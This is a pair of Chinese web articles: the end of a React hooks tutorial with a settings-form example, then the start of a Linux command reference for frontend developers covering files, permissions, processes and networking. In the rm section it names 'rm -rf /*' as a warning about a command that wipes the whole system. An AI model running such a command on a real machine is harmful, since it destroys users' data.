        style={{
          padding: "6px 12px",
          borderRadius: 6,
          border: "1px solid #cbd5e1",
          background: "white",
          cursor: "pointer",
        }}
      >
        {value || "选择国家"} ▾
      </button>
      {open && (
        <ul
          ref={menuRef}
          style={{
            position: "absolute",
            top: "calc(100% + 4px)",
            left: 0,
            margin: 0,
            padding: 4,
            listStyle: "none",
            background: "white",
            border: "1px solid #cbd5e1",
            borderRadius: 8,
            boxShadow: "0 4px 12px rgba(0,0,0,0.08)",
            minWidth: 180,
          }}
        >
          {COUNTRIES.map((c) => (
            <li
              key={c}
              onClick={() => {
                onChange(c);
                setOpen(false);
              }}
              style={{
                padding: "6px 10px",
                borderRadius: 4,
                cursor: "pointer",
                background: c === value ? "#eff6ff" : "transparent",
              }}
            >
              {c}
            </li>
          ))}
        </ul>
      )}
    </div>
  );
}

export default function SettingsForm() {
  const [settings, setSettings] = useLocalStorage<Settings>("account-settings", {
    username: "",
    country: "",
    notifications: true,
  });

  const debouncedUsername = useDebounce(settings.username, 400);
  const [status, setStatus] = useState<"idle" | "checking" | "ok" | "taken">("idle");

  useEffect(() => {
    if (!debouncedUsername) {
      setStatus("idle");
      return;
    }
    let cancelled = false;
    setStatus("checking");
    fetch(`/api/username?u=${encodeURIComponent(debouncedUsername)}`)
      .then((r) => r.json())
      .then((data) => {
        if (!cancelled) setStatus(data.available ? "ok" : "taken");
      })
      .catch(() => {
        if (!cancelled) setStatus("idle");
      });
    return () => {
      cancelled = true;
    };
  }, [debouncedUsername]);

  return (
    <form
      style={{
        maxWidth: 480,
        display: "grid",
        gap: 16,
        fontFamily: "system-ui, sans-serif",
      }}
      onSubmit={(e) => e.preventDefault()}
    >
      <label style={{ display: "grid", gap: 4 }}>
        <span style={{ fontSize: 14, color: "#475569" }}>用户名</span>
        <input
          value={settings.username}
          onChange={(e) =>
            setSettings({ ...settings, username: e.target.value })
          }
          style={{
            padding: "8px 10px",
            borderRadius: 6,
            border: "1px solid #cbd5e1",
          }}
        />
        <span style={{ fontSize: 12, color: "#64748b" }}>
          {status === "checking" && "校验中..."}
          {status === "ok" && "✓ 可用"}
          {status === "taken" && "✗ 已被占用"}
        </span>
      </label>

      <label style={{ display: "grid", gap: 4 }}>
        <span style={{ fontSize: 14, color: "#475569" }}>国家</span>
        <CountryPicker
          value={settings.country}
          onChange={(country) => setSettings({ ...settings, country })}
        />
      </label>

      <label
        style={{
          display: "flex",
          alignItems: "center",
          justifyContent: "space-between",
        }}
      >
        <span style={{ fontSize: 14, color: "#475569" }}>邮件通知</span>
        <NotificationSwitch
          value={settings.notifications}
          onChange={(notifications) =>
            setSettings({ ...settings, notifications })
          }
        />
      </label>
    </form>
  );
}

四个 Hook,四种职责,零重叠:

  • useDebounce 把密集敲击压成一次延迟值,让异步校验只在用户停顿后才发请求
  • useControlled 让开关组件同时接受 valuedefaultValue 两种用法,不必复制分支逻辑
  • useLocalStorage 把整个设置对象在刷新中持久化,附带 SSR 安全初始化与跨标签页同步
  • useClickOutside 在用户点击触发器与菜单之外的任何地方时关闭国家菜单——portal 渲染同样工作

整个表单文件最后大约 200 行,绝大部分是 JSX 与样式。那些容易写错的浏览器细枝末节——定时器清理、SSR 存储访问、受控/非受控判别、document 级监听——都被收进了那些已经被各种翻车场景打磨过的库 Hook 里。

安装

npm i @reactuses/core

相关 Hook

  • useDebounce — 让一个值按固定延迟落后于其输入
  • useDebounceFn — 防抖一个回调而非一个值
  • useControlled — 构建同时接受受控/非受控用法的组件
  • useLocalStorage — 持久化到 localStorage 的 useState,自带 SSR 安全与跨标签页同步
  • useSessionStorage — 与 useLocalStorage 同形,但作用域为会话
  • useClickOutside — 检测一个或多个元素之外的点击
  • useClickAway — 单 ref 版本的点击外部检测
  • useToggle — 带显式 toggle setter 的布尔状态
  • usePrevious — 读取上一次的状态值,用于表单中的变更检测

ReactUse 提供 100+ 个 React Hook。全部探索 →

重新学习前端之Linux

Linux

一、Linux 基础命令

1. Linux 基础命令概述

定义: Linux 基础命令是在 Linux 终端中执行的基本操作指令,用于文件系统管理、进程控制、网络配置等日常系统管理任务。

原理: Linux 命令本质上是可执行程序,通常位于 /bin/usr/bin/sbin 等目录中。当用户在终端输入命令时,Shell 会按照 $PATH 环境变量中定义的目录顺序查找对应的可执行文件并执行。

示例:

# 查看当前路径
pwd
# 输出: /home/user

# 列出当前目录内容
ls -la

常见误区:

  • 误以为命令是 Shell 内置的,实际上大多数命令是外部程序
  • 混淆 man 命令和 help 命令的使用场景
  • 不熟悉命令的参数缩写规则(如 -l--long

2. ls - 列出目录内容

定义: ls (list) 命令用于列出目录中的文件和子目录信息。

常用参数:

ls          # 基本列表
ls -l       # 详细信息(权限、所有者、大小、时间)
ls -a       # 显示隐藏文件(以.开头的文件)
ls -h       # 人类可读的文件大小
ls -t       # 按修改时间排序
ls -R       # 递归显示子目录
ls -la      # 组合使用:详细显示所有文件

输出解析:

drwxr-xr-x 2 user group 4096 Mar 15 10:30 Documents
-rw-r--r-- 1 user group  256 Mar 15 10:31 file.txt
  • 第一列:文件类型和权限(d表示目录,-表示普通文件)
  • 第二列:硬链接数
  • 第三列:文件所有者
  • 第四列:所属组
  • 第五列:文件大小(字节)
  • 第六至八列:最后修改时间
  • 第九列:文件名

常见误区:

  • 忘记 -a 参数会遗漏隐藏文件(如 .bashrc
  • 误认为文件大小包含目录内容(目录显示的4096是目录本身大小)

3. cd - 切换目录

定义: cd (change directory) 命令用于切换当前工作目录。

使用方式:

cd /home/user        # 切换到绝对路径
cd ../parent         # 切换到父目录
cd ~                 # 切换到用户主目录
cd -                 # 切换到上一次所在目录
cd                   # 无参数时切换到主目录

原理: cd 是 Shell 内置命令,通过修改当前 Shell 进程的 $PWD 环境变量实现。

常见误区:

  • cd - 会打印切换后的路径,方便确认
  • 使用相对路径时,基准目录是当前工作目录而非主目录

4. pwd - 显示当前目录

定义: pwd (print working directory) 命令用于显示当前工作目录的完整路径。

pwd          # /home/user/projects
pwd -P       # 显示物理路径(解析符号链接)
pwd -L       # 显示逻辑路径(包含符号链接)

5. mkdir - 创建目录

定义: mkdir (make directory) 命令用于创建新目录。

mkdir newdir                    # 创建单个目录
mkdir -p a/b/c                  # 递归创建多级目录
mkdir -m 755 newdir             # 指定权限创建
mkdir dir1 dir2 dir3            # 同时创建多个目录

常见误区:

  • 不使用 -p 参数时,父目录不存在会报错
  • -m 参数使用八进制数字指定权限

6. rmdir - 删除空目录

定义: rmdir (remove directory) 命令用于删除空目录

rmdir emptydir                  # 删除空目录
rmdir -p a/b/c                  # 递归删除空目录(连同父目录)

注意: 如果目录非空,会报错。删除非空目录使用 rm -r


7. rm - 删除文件或目录

定义: rm (remove) 命令用于删除文件或目录。

rm file.txt                     # 删除文件
rm -r directory                 # 递归删除目录
rm -f file.txt                  # 强制删除(不提示)
rm -rf directory                # 强制递归删除
rm -i file.txt                  # 删除前逐个确认

常见误区:

  • rm -rf /* 是极其危险的命令,会删除系统所有文件
  • 使用 -i 参数可以防止误删重要文件
  • 删除的文件无法直接恢复(需要通过专业工具或备份)

8. cp - 复制文件或目录

定义: cp (copy) 命令用于复制文件或目录。

cp source.txt dest.txt          # 复制文件
cp -r sourcedir destdir         # 递归复制目录
cp -i source.txt dest.txt       # 覆盖前提示确认
cp -a source dest               # 保留所有属性(归档模式)
cp -v source dest               # 显示复制过程

常见误区:

  • 复制目录必须使用 -r-R 参数
  • 目标位置存在同名文件会被覆盖(除非使用 -i

9. mv - 移动或重命名

定义: mv (move) 命令用于移动文件或重命名文件。

mv old.txt new.txt              # 重命名
mv file.txt /path/to/dir/       # 移动到目录
mv -i source dest               # 覆盖前提示
mv -n source dest               # 不覆盖已存在的文件

原理: 在同一文件系统内移动文件实际只修改目录项(速度快),跨文件系统移动等同于复制+删除。


10. touch - 创建或更新文件时间戳

定义: touch 命令用于创建空文件或更新文件的时间戳。

touch newfile.txt               # 创建空文件
touch -t 202403011200 file.txt  # 修改时间为指定值
touch -a file.txt               # 只更新访问时间
touch -m file.txt               # 只修改修改时间

常见误区:

  • touch 不会覆盖已存在的文件内容
  • 文件已存在时只更新时间戳

11. cat - 查看文件内容

定义: cat (concatenate) 命令用于查看、合并文件内容。

cat file.txt                    # 查看文件
cat -n file.txt                 # 显示行号
cat -b file.txt                 # 非空行显示行号
cat file1.txt file2.txt         # 合并多个文件
cat file1.txt file2.txt > combined.txt  # 合并输出到新文件
cat > newfile.txt << EOF        # 创建文件(多行输入)
EOF

常见误区:

  • 不适合查看大文件(会一次性加载到终端)
  • 查看大文件应使用 lessmore

12. more - 分页查看文件

定义: more 命令用于分页查看文件内容。

more file.txt                   # 分页查看
more -10 file.txt               # 每页显示10行

操作按键:

  • 空格键:向下翻页
  • Enter:向下滚动一行
  • q:退出

常见误区:

  • more 只能向下翻页,不能回退(less 可以双向翻页)

13. less - 分页查看文件(增强版)

定义: lessmore 的增强版,支持双向翻页和搜索。

less file.txt                   # 分页查看
less -N file.txt                # 显示行号
less +/pattern file.txt         # 打开时搜索模式

操作按键:

  • 空格键:向下翻页
  • b:向上翻页
  • /pattern:向下搜索
  • ?pattern:向上搜索
  • n:下一个匹配
  • N:上一个匹配
  • q:退出
  • G:跳转到末尾
  • g:跳转到开头

最佳实践: 查看日志文件优先使用 less


14. head - 查看文件开头

定义: head 命令用于查看文件开头部分内容。

head file.txt                   # 默认显示前10行
head -n 20 file.txt             # 显示前20行
head -c 100 file.txt            # 显示前100个字节

15. tail - 查看文件末尾

定义: tail 命令用于查看文件末尾部分内容。

tail file.txt                   # 默认显示最后10行
tail -n 20 file.txt             # 显示最后20行
tail -f logfile.log             # 实时跟踪文件变化
tail -F logfile.log             # 实时跟踪(支持日志轮转)
tail -n +100 file.txt           # 从第100行开始显示

最佳实践: 查看日志使用 tail -f 实时监控


16. find - 搜索文件

定义: find 命令用于在目录树中搜索文件。

find /path -name "file.txt"                     # 按名称搜索
find /path -type f -name "*.log"                # 搜索所有.log文件
find /path -size +100M                          # 搜索大于100MB的文件
find /path -mtime -7                            # 搜索7天内修改的文件
find /path -perm 644                            # 搜索权限为644的文件
find /path -user username                       # 搜索特定用户的文件
find /path -exec rm {} \;                       # 对搜索结果执行命令
find /path -name "*.tmp" -delete                # 搜索并删除
find /path -type f -empty                       # 查找空文件

常用选项:

  • -name:按文件名搜索(区分大小写)
  • -iname:按文件名搜索(不区分大小写)
  • -type:按类型搜索(f:文件, d:目录, l:链接)
  • -size:按大小搜索(+大于, -小于)
  • -mtime:按修改时间搜索(天数)
  • -atime:按访问时间搜索
  • -ctime:按状态改变时间搜索
  • -exec:对每个搜索结果执行命令

常见误区:

  • -exec 命令末尾必须有 \;+
  • -mtime +7 表示7天前,-mtime -7 表示7天内

17. locate - 快速查找文件

定义: locate 命令通过数据库快速查找文件路径。

locate file.txt                 # 查找包含file.txt的路径
locate -i FILE.TXT              # 不区分大小写
sudo updatedb                   # 更新数据库

原理: locate 使用 updatedb 创建的数据库进行搜索,速度极快但结果可能不是最新的。

对比 find

  • locate:速度快,但依赖数据库,结果可能不是最新的
  • find:实时搜索,速度慢但结果准确

18. whereis - 查找命令位置

定义: whereis 命令用于查找命令的二进制文件、源代码和手册页位置。

whereis ls                      # ls: /bin/ls /usr/share/man/man1/ls.1.gz
whereis -b ls                   # 只显示二进制文件
whereis -m ls                   # 只显示手册页

19. which - 查找命令路径

定义: which 命令用于查找命令的完整路径(按 $PATH 顺序)。

which ls                        # /bin/ls
which python                    # /usr/bin/python

对比 whereis

  • which:只查找可执行文件,按 $PATH 顺序
  • whereis:查找二进制、源码和手册页

20. echo - 输出文本

定义: echo 命令用于输出文本到终端或文件。

echo "Hello World"              # 输出文本
echo $PATH                      # 输出变量值
echo -e "Hello\nWorld"          # 启用转义字符
echo "text" > file.txt          # 输出到文件(覆盖)
echo "text" >> file.txt         # 追加到文件

常见误区:

  • 双引号内变量会被展开,单引号内变量不会被展开
  • > 覆盖文件,>> 追加文件

21. printf - 格式化输出

定义: printf 命令用于格式化输出文本(类似 C 语言的 printf)。

printf "Name: %s, Age: %d\n" "John" 25
printf "%-10s %5d\n" "John" 25          # 左对齐
printf "0x%04x\n" 255                   # 十六进制输出

22. clear - 清屏

定义: clear 命令用于清空终端屏幕。

clear                           # 清屏
Ctrl + L                        # 快捷键(部分终端)

23. history - 查看命令历史

定义: history 命令用于查看之前执行过的命令历史。

history                         # 显示所有历史命令
history 10                      # 显示最近10条命令
!n                              # 执行第n条历史命令
!!                              # 执行上一条命令
!ls                             # 执行最近一次ls命令
Ctrl + R                        # 搜索历史命令
history -c                      # 清除历史记录

24. man - 查看手册页

定义: man (manual) 命令用于查看命令的手册页。

man ls                          # 查看ls的手册
man -k keyword                  # 搜索手册(同apropos)
man 2 open                      # 查看系统调用open的手册

手册章节:

  1. 用户命令
  2. 系统调用
  3. 库函数
  4. 特殊文件
  5. 文件格式
  6. 游戏
  7. 杂项
  8. 系统管理命令

25. help - 查看内置命令帮助

定义: help 命令用于查看 Shell 内置命令的帮助信息。

help cd                         # 查看cd命令帮助
help echo                       # 查看echo命令帮助

对比 man

  • help:查看 Shell 内置命令的帮助
  • man:查看外部命令的手册页

二、文件系统与权限

26. Linux 文件系统

定义: Linux 文件系统是用于组织和管理磁盘上数据的结构和规则。

常见文件系统类型:

  • ext4:第四代扩展文件系统,Linux 默认文件系统
  • XFS:高性能日志文件系统,适合大文件
  • Btrfs:支持快照、压缩的现代文件系统
  • NTFS:Windows 文件系统(Linux 可读写)
  • FAT32:通用文件系统,兼容性最好

原理: 文件系统通过 inode 存储文件元数据(权限、大小、时间等),通过数据块存储实际内容。

查看文件系统:

df -T                           # 查看文件系统类型
lsblk -f                        # 查看块设备文件系统
blkid                           # 查看块设备属性

27. 文件权限

定义: Linux 文件权限控制着不同用户对文件的访问能力。

权限类型:

  • r (read):读权限(文件:可查看内容;目录:可列出内容)
  • w (write):写权限(文件:可修改内容;目录:可创建/删除文件)
  • x (execute):执行权限(文件:可作为程序执行;目录:可进入目录)

权限分组:

-rwxr-xr-- 1 user group 4096 Mar 15 10:30 file.txt
  • 所有者(user/owner):前3位 rwx
  • 所属组(group):中3位 r-x
  • 其他用户(others):后3位 r--

权限数字表示:

  • r = 4
  • w = 2
  • x = 1
  • 755 = rwxr-xr-x(所有者全权限,组和其他用户读执行)
  • 644 = rw-r--r--(所有者读写,组和其他只读)

特殊权限:

  • SUID (4):执行时以文件所有者身份运行
  • SGID (2):执行时以文件所属组身份运行;目录中新文件继承目录组
  • Sticky Bit (1):目录中只有文件所有者能删除文件(如 /tmp
chmod 4755 file                 # 设置SUID
chmod 2755 dir                  # 设置SGID
chmod 1777 /tmp                 # 设置Sticky Bit

28. chmod - 修改权限

定义: chmod (change mode) 命令用于修改文件或目录的权限。

chmod 755 file.txt              # 数字方式设置权限
chmod u+x file.txt              # 给所有者添加执行权限
chmod go-w file.txt             # 移除组和其他用户的写权限
chmod a+r file.txt              # 给所有用户添加读权限
chmod -R 755 directory          # 递归修改目录权限

符号模式:

  • u:所有者(user)
  • g:所属组(group)
  • o:其他用户(others)
  • a:所有用户(all)
  • +:添加权限
  • -:移除权限
  • =:设置权限

29. chown - 修改所有者

定义: chown (change owner) 命令用于修改文件或目录的所有者。

chown user file.txt             # 修改所有者
chown user:group file.txt       # 同时修改所有者和组
chown :group file.txt           # 只修改组
chown -R user directory         # 递归修改目录所有者

30. chgrp - 修改所属组

定义: chgrp (change group) 命令用于修改文件或目录的所属组。

chgrp group file.txt            # 修改所属组
chgrp -R group directory        # 递归修改目录所属组

31. 文件类型

定义: Linux 中文件类型用于区分不同性质的文件。

常见类型:

  • -:普通文件(文本、二进制、压缩包等)
  • d:目录(文件夹)
  • l:符号链接(软链接)
  • c:字符设备文件(如 /dev/null
  • b:块设备文件(如 /dev/sda
  • p:命名管道(FIFO)
  • s:套接字文件

查看文件类型:

ls -l                           # 通过第一列第一个字符识别
file filename                   # 详细显示文件类型

32. 目录结构

定义: Linux 采用树状目录结构组织文件系统,根目录为 /

重要目录:

/               # 根目录
/bin            # 基本用户命令(二进制)
/sbin           # 系统管理员命令
/etc            # 系统配置文件
/home           # 用户主目录
/root           # root用户主目录
/var            # 可变数据(日志、缓存等)
/tmp            # 临时文件
/usr            # 用户程序和数据
/opt            # 可选软件包
/dev            # 设备文件
/proc           # 进程信息(虚拟文件系统)
/sys            # 系统信息(虚拟文件系统)
/boot           # 启动文件
/lib            # 系统库文件
/media          # 可移动媒体挂载点
/mnt            # 临时挂载点

FHS(文件系统层次结构标准): 规范了 Linux 目录的用途和内容。


33-34. 文件路径与绝对路径

定义: 路径是文件或目录在文件系统中的位置标识。

绝对路径: 从根目录 / 开始的完整路径。

/home/user/documents/file.txt   # 绝对路径(始终以/开头)

特点:

  • 始终以 / 开头
  • 在任何位置都有效
  • 完整描述文件位置

35. 相对路径

定义: 相对于当前工作目录的路径。

./file.txt                      # 当前目录下的文件
../parent/file.txt              # 父目录下的文件
../../grandparent/file.txt      # 祖父目录下的文件

特殊符号:

  • .:当前目录
  • ..:父目录
  • ~:用户主目录
  • -:上一次所在目录

36-38. 软链接、硬链接与 ln 命令

定义: 链接是指向另一个文件的引用。

软链接(符号链接):

ln -s /path/to/original /path/to/link     # 创建软链接
  • 类似 Windows 的快捷方式
  • 有自己的 inode
  • 指向另一个文件路径
  • 可以跨越文件系统
  • 源文件删除后链接失效

硬链接:

ln /path/to/original /path/to/link        # 创建硬链接
  • 与原文件共享同一个 inode
  • 不能跨文件系统
  • 不能链接目录
  • 源文件删除后仍可访问(通过硬链接)
  • 删除最后一个链接才会真正删除文件

对比:

特性 软链接 硬链接
inode 不同 相同
跨文件系统 支持 不支持
链接目录 支持 不支持
源文件删除 失效 仍可访问
文件大小 路径长度 与原文件相同
命令 ln -s ln

查看链接:

ls -l                         # 软链接显示 -> 指向
stat file                     # 查看inode信息

39. 文件属性

定义: 文件属性包括权限、所有者、时间戳、大小等元数据。

查看属性:

ls -l file                    # 基本属性
stat file                     # 详细属性

属性信息:

  • 文件名
  • 文件大小
  • 文件类型
  • 权限模式
  • 所有者和组
  • 硬链接数
  • inode 号
  • 访问时间(atime)
  • 修改时间(mtime)
  • 状态改变时间(ctime)

40. inode

定义: inode(索引节点)是 Linux 文件系统中存储文件元数据的数据结构。

存储内容:

  • 文件大小
  • 文件权限
  • 所有者和组
  • 时间戳(atime, mtime, ctime)
  • 文件类型
  • 指向数据块的指针

不包含: 文件名(文件名存储在目录项中)

查看 inode:

ls -i file                    # 显示inode号
df -i                         # 查看inode使用情况
stat file                     # 详细inode信息

常见误区:

  • 删除文件实际是删除目录项,减少inode引用计数
  • inode 耗尽即使磁盘有空间也无法创建新文件
  • 硬链接共享同一个 inode

三、进程管理

41. 进程

定义: 进程是正在执行的程序实例,是操作系统资源分配的基本单位。

进程状态:

  • 运行态(Running):正在执行或准备执行
  • 睡眠态(Sleeping):等待某个事件或资源
    • S:可中断睡眠
    • D:不可中断睡眠(通常等待I/O)
  • 停止态(Stopped):被信号暂停
  • 僵尸态(Zombie):已终止但父进程尚未回收
  • 死亡态(Dead):即将被销毁

进程属性:

  • PID(进程ID)
  • PPID(父进程ID)
  • 状态
  • 优先级
  • 内存占用
  • CPU 占用
  • 运行时间

42. 进程管理

定义: 进程管理包括查看、控制、终止进程等操作。

管理方式:

  • 查看进程:pstophtop
  • 发送信号:killkillallpkill
  • 调整优先级:nicerenice
  • 前后台切换:jobsfgbg
  • 守护进程:systemdservice

43. ps - 查看进程

定义: ps (process status) 命令用于查看当前进程的快照。

ps                              # 查看当前终端进程
ps aux                          # 查看所有进程(BSD格式)
ps -ef                          # 查看所有进程(标准格式)
ps -ef | grep nginx             # 查找特定进程
ps -p 1234                      # 查看指定PID
ps -u username                  # 查看特定用户的进程
ps --sort=-%mem                 # 按内存使用排序

输出字段(ps aux):

  • USER:所有者
  • PID:进程ID
  • %CPU:CPU使用率
  • %MEM:内存使用率
  • VSZ:虚拟内存大小
  • RSS:物理内存大小
  • TTY:关联终端
  • STAT:进程状态
  • START:启动时间
  • TIME:CPU时间
  • COMMAND:命令

44. top - 实时进程监控

定义: top 命令用于实时显示系统进程状态和资源使用情况。

top                             # 启动top
top -u username                 # 查看特定用户进程
top -p 1234                     # 监控指定PID
top -d 2                        # 每2秒刷新

交互按键:

  • P:按CPU使用率排序
  • M:按内存使用率排序
  • q:退出
  • k:终止进程
  • c:显示完整命令路径
  • h:帮助

输出信息:

  • 系统运行时间、负载
  • 进程总数
  • CPU使用率
  • 内存使用情况
  • 进程列表

45. htop - 增强版进程监控

定义: htoptop 的增强版,提供更友好的交互界面。

htop                            # 启动htop
htop -u username                # 查看特定用户进程

优势:

  • 彩色显示
  • 支持鼠标操作
  • 树状视图(F5)
  • 更直观的资源使用条
  • 支持搜索(F3)

46. kill - 发送信号

定义: kill 命令用于向进程发送信号(常用于终止进程)。

kill PID                        # 默认发送SIGTERM(15)
kill -9 PID                     # 发送SIGKILL(强制终止)
kill -15 PID                    # 发送SIGTERM(优雅终止)
kill -1 PID                     # 发送SIGHUP(重新加载配置)
kill -l                         # 列出所有信号

常用信号:

信号 编号 说明
SIGHUP 1 挂起信号,常用于重新加载配置
SIGINT 2 中断信号(Ctrl+C)
SIGKILL 9 强制终止(不可捕获)
SIGTERM 15 优雅终止(默认)
SIGSTOP 19 停止进程
SIGCONT 18 继续进程

47. killall - 按名称终止进程

定义: killall 命令用于通过进程名终止所有匹配的进程。

killall nginx                   # 终止所有nginx进程
killall -9 nginx                # 强制终止
killall -u username             # 终止特定用户的所有进程

48. pkill - 按模式终止进程

定义: pkill 命令用于通过进程名模式匹配终止进程。

pkill nginx                     # 终止名称包含nginx的进程
pkill -f "python app.py"        # 按完整命令行匹配
pkill -u username               # 按用户匹配

对比:

  • kill:需要 PID
  • killall:精确匹配进程名
  • pkill:模式匹配进程名

49. nice - 以指定优先级启动进程

定义: nice 命令用于以指定的优先级启动进程。

nice -n 10 command              # 以优先级10启动
nice -n -5 command              # 以高优先级启动(需要root)

优先级范围: -20(最高)到 19(最低),默认值为 0。


50. renice - 修改运行中进程的优先级

定义: renice 命令用于修改正在运行的进程的优先级。

renice -n 10 -p PID             # 修改进程优先级
renice -n 5 -u username         # 修改特定用户所有进程

51. nohup - 忽略挂起信号

定义: nohup (no hang up) 命令使命令在终端关闭后继续运行。

nohup command &                 # 后台运行,忽略挂起信号
nohup command > output.log 2>&1 &   # 重定向输出

原理: 忽略 SIGHUP 信号,输出默认重定向到 nohup.out


52. & - 后台运行

定义: 在命令末尾添加 & 使进程在后台运行。

command &                       # 后台运行
nohup command &                 # 后台运行且忽略挂起信号

53. jobs - 查看后台任务

定义: jobs 命令用于查看当前终端的后台任务列表。

jobs                            # 列出后台任务
jobs -l                         # 显示详细信息(含PID)

54. fg - 切换到前台

定义: fg (foreground) 命令将后台任务切换到前台运行。

fg                              # 恢复最近一个后台任务到前台
fg %1                           # 恢复任务1到前台

55. bg - 后台运行

定义: bg (background) 命令使停止的任务在后台继续运行。

bg                              # 继续最近一个停止的任务在后台
bg %1                           # 继续任务1在后台

56. 守护进程

定义: 守护进程(Daemon)是在后台运行、不与终端关联的长期运行的进程。

特点:

  • 在后台运行
  • 不与终端关联
  • 通常以 d 结尾命名(如 sshdnginx
  • 系统启动时自动启动

常见守护进程:

  • sshd:SSH 服务
  • crond:定时任务
  • systemd:系统初始化
  • httpd/nginx:Web 服务

57. systemd - 系统和服务管理器

定义: systemd 是现代 Linux 发行版的系统和服务管理器。

常用命令:

systemctl status service        # 查看服务状态
systemctl start service         # 启动服务
systemctl stop service          # 停止服务
systemctl restart service       # 重启服务
systemctl reload service        # 重载配置
systemctl enable service        # 开机自启
systemctl disable service       # 取消开机自启
systemctl is-enabled service    # 检查是否开机自启
systemctl list-units            # 列出所有单元
systemctl list-unit-files       # 列出所有单元文件
journalctl -u service           # 查看服务日志

58. service - 管理系统服务

定义: service 命令用于管理系统服务(旧式 SysV init)。

service nginx start             # 启动服务
service nginx stop              # 停止服务
service nginx restart           # 重启服务
service nginx status            # 查看状态

注意: 现代系统推荐使用 systemctl 替代 service


四、网络配置

59. 网络配置

定义: Linux 网络配置涉及网络接口的设置、IP 地址分配、路由配置等。

配置文件:

  • /etc/network/interfaces(Debian/Ubuntu)
  • /etc/sysconfig/network-scripts/(CentOS/RHEL)
  • /etc/resolv.conf(DNS 配置)
  • /etc/hosts(主机名映射)

现代工具:

  • ip 命令替代 ifconfig
  • ss 命令替代 netstat

60. ifconfig - 网络接口配置

定义: ifconfig (interface configuration) 命令用于配置和查看网络接口。

ifconfig                        # 显示所有活动接口
ifconfig eth0                   # 显示eth0接口
ifconfig eth0 up                # 启用接口
ifconfig eth0 down              # 禁用接口
ifconfig eth0 192.168.1.100     # 设置IP地址

注意: ifconfig 已废弃,推荐使用 ip 命令。


61. ip - 网络管理命令

定义: ipifconfig 的现代替代工具,功能更强大。

ip addr                         # 显示IP地址
ip link                         # 显示网络接口
ip route                        # 显示路由表
ip addr add 192.168.1.100/24 dev eth0   # 添加IP地址
ip link set eth0 up                     # 启用接口
ip route add default via 192.168.1.1    # 添加默认路由

常用子命令:

  • ip addr:管理 IP 地址
  • ip link:管理网络接口
  • ip route:管理路由表

62. ping - 测试网络连通性

定义: ping 命令用于测试与目标主机的网络连通性。

ping google.com                 # 持续ping
ping -c 5 google.com            # ping 5次后停止
ping -i 2 google.com            # 每2秒ping一次
ping -s 64 google.com           # 指定数据包大小

原理: 使用 ICMP Echo Request/Echo Reply 报文。


63. netstat - 网络统计

定义: netstat (network statistics) 命令用于显示网络连接、路由表、接口统计等。

netstat -tlnp                   # 查看监听的TCP端口
netstat -ulnp                   # 查看监听的UDP端口
netstat -anp                    # 查看所有连接
netstat -s                      # 查看统计信息
netstat -rn                     # 查看路由表

常用参数:

  • -t:TCP 连接
  • -u:UDP 连接
  • -l:仅监听
  • -n:数字显示(不解析主机名)
  • -p:显示进程
  • -a:所有连接
  • -r:路由表

64. ss - 查看套接字统计

定义: ss (socket statistics) 是 netstat 的现代替代工具。

ss -tlnp                        # 查看监听的TCP端口
ss -ulnp                        # 查看监听的UDP端口
ss -anp                         # 查看所有连接
ss -s                           # 查看统计信息

优势:netstat 更快,支持更多功能。


65. telnet - 远程登录

定义: telnet 命令用于远程登录和测试端口连通性。

telnet host port                # 连接远程主机
telnet localhost 80             # 测试80端口

注意: telnet 传输不加密,推荐使用 ssh 替代。常用于测试端口连通性。


66. curl - 命令行 HTTP 客户端

定义: curl 命令用于通过 URL 语法传输数据。

curl https://example.com        # 获取网页
curl -O https://example.com/file    # 下载文件(保持原名)
curl -o file https://example.com    # 下载文件(指定文件名)
curl -I https://example.com         # 只获取响应头
curl -X POST https://example.com    # POST请求
curl -d "data=value" https://example.com    # POST数据
curl -H "Authorization: Bearer token" https://example.com    # 添加请求头

67. wget - 命令行下载工具

定义: wget 命令用于从网络下载文件。

wget https://example.com/file       # 下载文件
wget -O output https://example.com  # 指定输出文件名
wget -c https://example.com/file    # 断点续传
wget -r https://example.com         # 递归下载
wget -i urls.txt                    # 从文件读取URL下载

对比 curl

  • curl:支持更多协议,默认输出到 stdout
  • wget:支持递归下载,默认保存到文件

68. ssh - 安全远程登录

定义: ssh (Secure Shell) 命令用于安全地远程登录到服务器。

ssh user@host                     # 登录远程主机
ssh -p 2222 user@host             # 指定端口
ssh -i key.pem user@host          # 使用密钥登录
ssh user@host "command"           # 执行远程命令
ssh -L 8080:localhost:80 user@host    # 本地端口转发
ssh -R 8080:localhost:80 user@host    # 远程端口转发

配置免密登录:

ssh-keygen                        # 生成密钥对
ssh-copy-id user@host             # 复制公钥到远程主机

69. scp - 安全复制

定义: scp (secure copy) 命令用于通过 SSH 安全地复制文件。

scp file.txt user@host:/path/     # 上传文件
scp user@host:/path/file.txt ./   # 下载文件
scp -r dir user@host:/path/       # 递归复制目录
scp -P 2222 file.txt user@host:/path/   # 指定端口

70. rsync - 远程同步

定义: rsync 命令用于高效地同步文件和目录。

rsync -av source/ dest/           # 本地同步
rsync -av source/ user@host:/dest/    # 同步到远程
rsync -avz user@host:/src/ dest/  # 压缩传输
rsync -av --delete source/ dest/  # 删除目标多余文件
rsync -av --exclude "*.log" source/ dest/   # 排除文件

常用参数:

  • -a:归档模式(保留权限、时间等)
  • -v:详细输出
  • -z:压缩传输
  • -P:显示进度并支持断点续传

优势: 只传输变化的部分,效率高。


71-74. 防火墙管理

定义: Linux 防火墙用于控制网络流量进出系统。

iptables:

iptables -L                       # 查看规则
iptables -A INPUT -p tcp --dport 80 -j ACCEPT     # 允许80端口
iptables -A INPUT -p tcp --dport 443 -j ACCEPT    # 允许443端口
iptables -A INPUT -j DROP                         # 拒绝所有入站

firewalld(CentOS/RHEL):

firewall-cmd --list-all           # 查看配置
firewall-cmd --add-port=80/tcp    # 添加端口
firewall-cmd --reload             # 重载配置
firewall-cmd --permanent --add-port=80/tcp        # 永久添加

ufw(Ubuntu):

ufw status                        # 查看状态
ufw enable                        # 启用防火墙
ufw allow 80/tcp                  # 允许80端口
ufw deny 22/tcp                   # 拒绝22端口
ufw delete allow 80/tcp           # 删除规则

对比:

工具 发行版 特点
iptables 通用 底层、功能强大、配置复杂
firewalld CentOS/RHEL 动态管理、支持区域
ufw Ubuntu/Debian 简单易用、基于iptables

75. 端口管理

定义: 端口是网络通信的端点,用于区分不同服务。

常用端口:

  • 22:SSH
  • 80:HTTP
  • 443:HTTPS
  • 3306:MySQL
  • 5432:PostgreSQL
  • 6379:Redis
  • 8080:HTTP 代理

查看端口:

ss -tlnp                        # 查看监听端口
netstat -tlnp                   # 查看监听端口
lsof -i :80                     # 查看80端口占用

五、Shell 脚本

76. Shell

